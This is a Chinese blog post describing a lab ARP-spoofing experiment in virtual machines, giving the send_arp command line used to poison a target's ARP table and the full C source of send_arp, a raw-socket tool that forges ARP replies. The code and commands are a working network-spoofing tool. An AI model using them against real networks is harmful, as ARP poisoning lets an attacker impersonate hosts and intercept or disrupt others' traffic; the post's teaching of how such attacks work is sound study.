欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ARP欺骗实验

程序员文章站 2022-05-16 22:58:10
...

总目标

写一个抓包工具

小实验2.ARP欺骗实验

1.实验:ARP欺骗之send_arp

2. 实验平台:Linux (RedHat5)

3.实验目的:通过对send_arp程序的使用,了解ARP包的基本构造,以及局域网中ARP病毒的原理。

4.预期结果:通过使用send_arp程序,更改被“骗”主机的ARP表,以达到欺骗目的。

5.实验步骤:

1、在虚拟机中创建三个Linux系统,分别为A、B、C。(在本实验中以A冒充B的身份来欺骗C)

2、在以上三个虚拟机中分别输入ifconfig,得到ip和mac地址。

3、在C下分别ping主机A和B,然后输入arp -a得到ARP表,记录下来IPA对应的MAC地址,以及IPB对应的MAC地址。(所得到的ip和mac对应关系正确标志着实际情况下A、B的ip和mac对应关系)。

4、在A下启动send_arp程序,在shell命令提示符下的命令行为send_arp -p IP_B -h MAC_A -P IP_C -H MAC_C -t 2 -v

解释:发送ARP包,-p对应的是ARP包中显示的发送方ip,-h对应的是ARP包中显示的发送方的MAC,-P对应的是ARP包中所显示的目的IP地址,-H对应的是ARP包中所显示的目的MAC地址,-t对应的是该ARP类型,其中-t后跟的2表明该ARP包属于应答包,-v表示的是回显该ARP包中所包含的基础信息。

5、在C下再次输入arp -a,记录所得到的ARP表,显示发现本来IP_B对应的MAC_B,变成了和MAC_A所对应。

实验原理图:
ARP欺骗实验

实验要点

1.该实验至少需要两台电脑,被攻击的C和攻击者A

2.在我做的实验中,攻击者为linux下红帽子系统,被攻击者为win2003系统,这两台电脑在一个小型局域网中。换到我们自己的电脑上做实验的时候,ubuntu系统和windows系统无法ping通。

3.因为我们所发送的包为应答包,所以我们应该在主机Cping通主机B后,再立刻攻击主机C,否则攻击将会无效。我猜测这时候主机C应该是默认不接受应答包的。

代码部分

  /* Send_arp.c */


    #include <stdio.h>
    #include <ctype.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <linux/if_ether.h>
    #include <getopt.h>

    #define ETH_HW_ADDR_LEN 6
    #define IP_ADDR_LEN 4
    #define ARP_FRAME_TYPE 0x0806
    #define ETHER_HW_TYPE 1
    #define IP_PROTO_TYPE 0x0800

    #define DEBUG 1

    char usage[] = {"sendarp: send an arp packet\n   usage: sendarp [-?] [-v] [-t message_type] [-i interface]\n                   [-p sender_protocol_address] [-P target_protocol_address]\n                   [-h sender_hardware_address] [-H target_hardware_address] [-v]\n \n    -?    display this message\n    -v    verbose                         Default: not verbose\n             Be verbose\n \n    -t    message type               Default: 1\n             Identifies the purpose for this ARP packet\n              1    ARP Request\n              2    ARP Response\n              3    Reverse ARP Request\n              4    Reverse ARP Response\n              8    Inverse ARP Request\n              9    Inverse ARP Response\n \n    -i    interface                       Default: eth0\n              Select an interface (eth1, lo, ppp0, whatever...)\n \n    -p    sender protocol address         Default: 0.0.0.0\n              Identifies the ip address of the system issuing the ARP packet.\n \n     -P    target protocol address         Default: 0.0.0.0\n              Identifies the ip address of the ARP packet's destination.\n \n    -h    sender hardware address         Default: 00:00:00:00:00:00\n              Identifies the hardware address of the system issuing the ARP packet.\n \n     -H    target hardware address    Default: 00:00:00:00:00:00\n              Identifies the hardware address of the ARP packet's destination.\n \n    Bugs:\n          if you find any please email <aaa@qq.com>;\n              thanks.\n    Author(s):\n          Derived from send_arp.c by Yuri Volobuev <aaa@qq.com>; 1997\n          Modified by Jonthan R. Seagrave <aaa@qq.com>; 14 Sep 2000\n \n"};

    struct arp_packet {
            u_char dst_hw_addr[ETH_HW_ADDR_LEN];
            u_char src_hw_addr[ETH_HW_ADDR_LEN];
            u_short frame_type;
            u_short hw_type;
            u_short prot_type;
            u_char hw_addr_size;
            u_char prot_addr_size;
            u_short type;
            u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
            u_char sndr_ip_addr[IP_ADDR_LEN];
            u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
            u_char rcpt_ip_addr[IP_ADDR_LEN];
            u_char padding[18];
    };

    void send_arp(char *src_ip, char *src_hw_addr, char *dst_ip, char *dst_hw_addr, char *interface, u_short type);
    void die(char *);
    void get_ip_addr(struct in_addr*,char*);
    void get_hw_addr(char*,char*);

    int main (int argc,char** argv) {

        char src_hw_addr[32];
        char dst_hw_addr[32];
        char src_ip[32];
        char dst_ip[32];
        char interface[32];
        u_short type = 1;
        char *arg;
        u_short verbose = 0;
        int i = 1;
        u_short help = 0;

        strcpy(src_hw_addr, "00:00:00:00:00:00");
        strcpy(dst_hw_addr, "00:00:00:00:00:00");
        strcpy(src_ip, "0.0.0.0");
        strcpy(dst_ip, "0.0.0.0");
        strcpy(interface, "eth0");

        if (argc <= 1) help = 1;

        while (arg = argv[i]) {
            i++;

            if (strcmp("-i", arg) == 0) {
                strncpy(interface, argv[i++], 31);
            } else if (strcmp("-p", arg) == 0) {
                strncpy(src_ip, argv[i++], 31);
            } else if (strcmp("-P", arg) == 0) {
                strncpy(dst_ip, argv[i++], 31);
            } else if (strcmp("-h", arg) == 0) {
                strncpy(src_hw_addr, argv[i++], 31);
            } else if (strcmp("-H", arg) == 0) {
                strncpy(dst_hw_addr, argv[i++], 31);
            } else if (strcmp("-v", arg) == 0) {
                verbose = 1;
            } else if (strcmp("-t", arg) == 0) {
                arg = argv[i++];
                if (strcmp("1", arg) == 0) type = 1;
                else if (strcmp("2", arg) == 0) type = 2;
                else if (strcmp("3", arg) == 0) type = 3;
                else if (strcmp("4", arg) == 0) type = 4;
                else if (strcmp("8", arg) == 0) type = 8;
                else if (strcmp("9", arg) == 0) type = 9;
            } else {
                help = 1;
            }
        }

        if (help) printf("%s", usage);

        if (verbose) {
            printf("Sending ARP Packet:\n");
            printf("    Interface:                %s\n", interface);
            printf("    Message type:             %d\n", type);
            printf("    Sender hardware address:  %s\n", src_hw_addr);
            printf("    Sender protocol address:  %s\n", src_ip);
            printf("    Target hardware address:  %s\n", dst_hw_addr);
            printf("    Target protocol address:  %s\n", dst_ip);
        }

        send_arp(src_ip, src_hw_addr, dst_ip, dst_hw_addr, interface, type);

        exit (0);
    }

    void send_arp(char *src_ip, char *src_hw_addr, char *dst_ip, char *dst_hw_addr, char *interface, u_short type){

        struct in_addr src_in_addr,dst_in_addr;
        struct arp_packet pkt;
        struct sockaddr sa;
        int sock;

        sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
        if(sock<0){
            perror("socket");
            exit(1);
        }

        pkt.frame_type = htons(ARP_FRAME_TYPE);
        pkt.hw_type = htons(ETHER_HW_TYPE);
        pkt.prot_type = htons(IP_PROTO_TYPE);
        pkt.hw_addr_size = ETH_HW_ADDR_LEN;
        pkt.prot_addr_size = IP_ADDR_LEN;
        pkt.type=htons(type);

        get_hw_addr(pkt.src_hw_addr, "ff:ff:ff:ff:ff:ff");
        get_hw_addr(pkt.dst_hw_addr, "ff:ff:ff:ff:ff:ff");
        get_hw_addr(pkt.sndr_hw_addr, src_hw_addr);
        get_hw_addr(pkt.rcpt_hw_addr, dst_hw_addr);

        get_ip_addr(&src_in_addr, src_ip);
        get_ip_addr(&dst_in_addr, dst_ip);

        memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
        memcpy(pkt.rcpt_ip_addr,&dst_in_addr,IP_ADDR_LEN);

        bzero(pkt.padding,18);

        strcpy(sa.sa_data, interface);

        if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
            perror("sendto");
            exit(1);
        }
        exit(0);
    }

    void die(char* str){
        fprintf(stderr,"%s\n",str);
        exit(1);
    }

    void get_ip_addr(struct in_addr* in_addr,char* str){

        struct hostent *hostp;

        in_addr->s_addr=inet_addr(str);
        if(in_addr->s_addr == -1){
            if( (hostp = gethostbyname(str)))
                bcopy(hostp->h_addr,in_addr,hostp->h_length);
            else {
                fprintf(stderr,"send_arp: unknown host %s\n",str);
                exit(1);
            }
        }
    }

    void get_hw_addr(char* buf,char* str){

        int i;
        char c,val;
        char hw_addr[64];

        strcpy (hw_addr, str);

        for(i=0;i<ETH_HW_ADDR_LEN;i++){
            if( !(c = tolower(*str++))) {
                char msg[64];
                sprintf(msg, "Invalid hardware address: %s", hw_addr);
                die(msg);
            }
            if(isdigit(c)) val = c-'0';
            else if(c >= 'a' && c <= 'f') val = c-'a'+10;
            else {
                char msg[64];
                sprintf(msg, "Invalid hardware address: %s", hw_addr);
                die(msg);
            }

            *buf = val << 4;
            if( !(c = tolower(*str++))) die("Invalid hardware address");
            if(isdigit(c)) val = c-'0';
            else if(c >= 'a' && c <= 'f') val = c-'a'+10;
            else {
                char msg[64];
                sprintf(msg, "Invalid hardware address: %s", hw_addr);
                die(msg);
            }

            *buf++ |= val;

            if(*str == ':')str++;
        }
    }

相关标签: ARP欺骗